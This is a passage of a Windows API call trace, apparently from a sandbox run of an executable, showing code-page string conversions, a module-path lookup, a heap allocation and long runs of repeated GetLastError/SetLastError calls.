¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¡\x8e \x18ôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0100.865] GetLastError () returned 0x7f [0100.865] SetLastError (dwErrCode=0x7f) [0100.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0100.865] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.865] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0100.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¡\x8e \x18ôþ\x18", lpUsedDefaultChar=0x0) returned 256 [0100.865] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x66e4e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe")) returned 0x6e [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] GetLastError () returned 0x0 [0100.865] SetLastError (dwErrCode=0x0) [0100.865] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.866] GetLastError () returned 0x0 [0100.866] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.867] SetLastError (dwErrCode=0x0) [0100.867] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.868] SetLastError (dwErrCode=0x0) [0100.868] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.869] SetLastError (dwErrCode=0x0) [0100.869] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.870] SetLastError (dwErrCode=0x0) [0100.870] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.871] SetLastError (dwErrCode=0x0) [0100.871] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.872] SetLastError (dwErrCode=0x0) [0100.872] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x87) returned 0x820ed0 [0100.873] GetLastError () returned 0x0 [0100.873] SetLastError (dwErrCode=0x0) [0100.873] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.874] GetLastError () returned 0x0 [0100.874] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.875] SetLastError (dwErrCode=0x0) [0100.875] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.876] SetLastError (dwErrCode=0x0) [0100.876] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.877] SetLastError (dwErrCode=0x0) [0100.877] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.878] GetLastError () returned 0x0 [0100.878] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.879] SetLastError (dwErrCode=0x0) [0100.879] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] GetLastError () returned 0x0 [0100.880] SetLastError (dwErrCode=0x0) [0100.880] 